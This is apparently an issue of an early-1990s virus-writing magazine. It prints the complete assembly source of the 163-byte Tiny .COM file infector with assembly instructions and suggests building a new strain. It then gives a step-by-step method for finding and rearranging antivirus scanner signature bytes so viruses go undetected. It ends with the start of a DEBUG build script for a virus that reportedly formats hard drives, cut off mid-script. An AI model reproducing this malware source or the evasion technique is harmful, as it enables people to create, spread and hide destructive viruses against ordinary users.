Name: Tiny Aliases: 163 COM Virus, Tiny 163 Virus, Kennedy-163 V Status: Rare Discovery: June, 1990 Symptoms: COMMAND.COM & .COM file growth Origin: Denmark Eff Length: 163 Bytes Type Code: PNCK - Parasitic Non-Resident .COM Infector Detection Method: ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+ Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infected files General Comments: The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason of Iceland in June 1990. This virus is a non-resident generic .COM file infector, and it will infect COMMAND.COM. The first time a file infected with the 163 COM Virus is executed, the virus will attempt to infect the first .COM file in the current directory. On bootable diskettes, this file will normally be COMMAND.COM. After the first .COM file is infected,each time an infected program is executed another .COM file will attempt to be infected. Files are infected only if their original length is greater than approximately 1K bytes. Infected .COM files will increase in length by 163 bytes, and have date/time stamps in the directory changed to the date/time the infection occurred. Infected files will also always end with this hex string: '2A2E434F4D00'. This virus currently does nothing but replicate, and is the smallest MS-DOS virus known as of its isolation date. The Tiny Virus may or may not be related to the Tiny Family. ^like she'd know the difference! OK, Theres the run down on the smallest MS-DOS virus known to man. As for it being detected by SCAN we'll see about that. Here is a dissasembly of the virus, It can be assembled under Turbo Assembler or MASM. ----------------------------------------------------------------------------- PAGE 59,132 data_2e equ 1ABh ;start of virus seg_a segment byte public assume cs:seg_a, ds:seg_a ;assume cs, ds - code org 100h ;orgin of all COM files s proc far start: jmp loc_1 ;jump to virus ;this is a replacement for an infected file db 0CDh, 20h, 7, 8, 9 ;int 20h ;pop es loc_1: call sub_1 s endp sub_1 proc near pop si ;locate all virus code via sub si,10Bh ;si, cause all offsets will mov bp,data_1[si] ;change when virus infects add bp,103h ;a COM file lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI xor cx,cx ;clear cx - find only normal ;attributes mov ah,4Eh ;find first file loc_2: int 21h jc loc_6 ;no files found? then quit mov dx,9Eh ;offset of filename found mov ax,3D02h ;open file for read/write access int 21h mov bx,ax ;save handle into bx mov ah,3Fh ;read from file lea dx,[si+1A8h] ;offset of save buffer mov di,dx mov cx,3 ;read three bytes int 21h cmp byte ptr [di],0E9h ;compare buffer to virus id ;string je loc_4 loc_3: mov ah,4Fh ;find the next file jmp short loc_2 ;and test it loc_4: mov dx,[di+1] ;lsh of offset mov data_1[si],dx xor cx,cx ;msh of offset mov ax,4200h ;set the file pointer int 21h mov dx,di ;buffer to save read mov cx,2 ;read two bytes mov ah,3Fh ;read from file int 21h cmp word ptr [di],807h ;compare buffer to virus id je loc_3 ;same? then find another file ;heres where we infect a file xor dx,dx ;set file pointer xor cx,cx ;ditto mov ax,4202h ;set file pointer int 21h cmp dx,0 ;returns msh jne loc_3 ;not the same? find another file cmp ah,0FEh ;lsh = 254??? jae loc_3 ;if more or equal find another file mov ds:data_2e[si],ax ;point to data mov ah,40h ;write to file lea dx,[si+105h] ;segment:offset of write buffer mov cx,0A3h ;write 163 bytes int 21h jc loc_5 ;error? then quit mov ax,4200h ;set file pointer xor cx,cx ;to the top of the file mov dx,1 int 21h mov ah,40h ;write to file lea dx,[si+1ABh] ;offset of jump to virus code mov cx,2 ;two bytes int 21h ;now close the file loc_5: mov ah,3Eh ;close file int 21h loc_6: jmp bp ;jump to original file data_1 dw 0 db '*.COM',0 ;wild card search string sub_1 endp seg_a ends end start --------------------------------------------------------------------------- Its good to start off with a simple example like this. As you can see what the virus does is use the DOS 4Eh function to find the firsy COM file in the directory. If no files are found the program exits. If a file is found it compares the virus id string (the virus jump instruction) to the first two bytes of the COM file. If they match the program terminates. If they don't match the virus will infect the file. Using two key MS-DOS functions to infect. The first - INT 21h Function 42h SET FILE POINTER AH = 42h AL = method code BX = file handle CX = most significant half to offset DX = least " " If there is an error in executing this function the carry flag will be set, and AX will contian the error code. If no error is encountered DX = most significant half of file pointer AX = least " " The second (and most) important function used by any virus is INT 21h Function 40h WRITE TO FILE OR DEVICE AH = 40h BX = handle CX = number of bytes to write DS:DX = segment of buffer Returns AX = bytes transferred on error AX = Error Code and flag is set. An example of Function 40h is ---- mov ah,40h ;set function mov bx,handle ;load bx with handle from prev open mov cx,virus_size ;load cx with # of bytes to write mov dx,offset write_buffer ;load dx with the offset of what to ;write to file int 21h ; This function is used by 98% of all MS-DOS viruses to copy itself to a victim file. Now heres a sample project - create a new strain of Tiny, have it restore the original date and time etc... HR +++++ 40H Vmag Issue 1 Volume 1 00002 - HOW TO MODIFY A VIRUS SO SCAN WON'T CATCH IT - OR HOW TO CREATE NEW VIRUS STRAINS The problem with most viruses is that this dickhead who lives in California named John Mcafee gets his greedy hands on them and turns them into big bucks -- for him. John boy is the reason there are over 500 viruses out there, and I wouldn't doubt if he weren't resposible for writing at least ten of them. So the best thing to do to some Mcafee dependant sucker, or lame board is this. Say you have a copy of a played out virus, lets say an older one like Armstand or Jerusalem. Almost every virus scanner can detect these viruses cause they been around so long. Now heres a quick way to modify viruses so the scanners wont catch them, in turn making them new strains. The tools you need are -- Norton Utilites Debug and/or Turbo Debugger by Borland Now heres what you do. Step A ------ Make a target file like this with Debug Copy the below file with your editor to a file called SAMPLE.USR ----------------------------------------------------------------------------- n sample.com a int 20 rcx 2 w q ----------------------------------------------------------------------------- Then uses Debug to make the file SAMPLE.COM executing this command -- DEBUG < SAMPLE.USR This will make a two byte called SAMPLE.COM STEP B ------ Infect the file with the virus. If this is a boot sector virus your on your own. Do whatever you have to to infect the two byte file. Make a copy of the file and keep it for safe keeping. STEP C ------ Load up DISKEDIT, which comes with Norton 6.0 (I'm not sure if its in the lower versions) PCTOOLS Hex Editor will work too but it takes more work. Now have DISKEDIT Hex-edit the infected file. Now figure out where the middle of the file is. Next put block on and go to the end of the file. At the end of the file go to the edit screen and select fill. Fill the lower half of the file will nonsense characters, its good to select 255d (FFh) the blank character. Now save your changes and go to DOS Now use SCAN to scan the file for viruses. If it detects the virus you didnt delete the search string that SCAN is searching for. Get it??? You see all SCAN does is search files for strings that are related to viruses. For example if SCAN was looking for CASCADE it look for something like this- EB1DAD1273D1FF121F In every file you specify. So what we are doing is narrowing down where that string is in the virus that SCAN keeps finding. So what you have to do is keep deleting parts of the virus with DISKEDIT untill you finally narrow down the string. Keep this in mind, search strings are in the first 150 bytes of the file about 75% of the time. Ok lets say you narrowed down the search string and lets say it's - B8 92 19 B7 21 CD It will most likly be longer but this an example. Now back to DEBUG - Do the following-- DEBUG E 0100 b8 92 19 b7 21 cd -- this is the string you found Then type -- U This will give you a unassembled look at what the id-string is. In this example it was mov ax,1992h mov bx,21h int 21h Now this is what you have to do, and keep in mind the following --- THE FOLLOWING TAKES A SOMEWHAT KNOWING OF ASSEMBLER AND HOW IT WORKS!!!!!! Uses Turbo Debugger to find the string, you can use DEBUG but I don't know how to do this from debug. Ok say you got the string on the screen -- mov ax,1992h mov bh,21h int 21h Write down the locations in the file where these strings are. Ex 0100h etc.. Now rearrange the AX mov with the BX mov like this --- mov bh,21h mov ax,1992h int 21h You see? You didn't change the way the code functions (THATS IF YOU KNOW WHAT YOUR DOING!) but you changed the codes id-string for SCAN. Now since Turbo Debugger dosent let you save the changes you must do it via - Debug. DEBUG virus.com a 0122 - This is the address of the string Now enter the assembler instructions -- mov bh,21 mov ax,1992h int 21h w q Save it and SCAN it, if SCAN doesn't catch it Congrats. If it does --- back to the lab. Oh well you get the point. One warning, this only works with un-encrypting viruses, or on the encryption mechanism of encrypting files (which will most likely be Scanned). With that in mind, have fun. HR +++++ 40H Vmag Issue 1 Volume 1 00003 - SUB-ZERO VIRUS - Heres one for all of you who don't have an assembler. It can be compiled using debug by naming the insert below SUB-ZERO.USR and executing the command - DEBUG < SUB-ZERO.USR ----------------------------------------------------------------------------- n

a memory resident COM and EXE infector that is based somewhat on on Jerusalem-B. It is the ansestor to the virus Captian Trips which at this time has not been nailed by SCAN. Be carefull because this virus will most likly format you hard drive if you run it on the wrong day. One day of the year it will perform a HD format. I think it's in June, hmmmm... D-Day rings a bell. As of Scan-77 this virus can not be detected by SCAN or F-Prot.
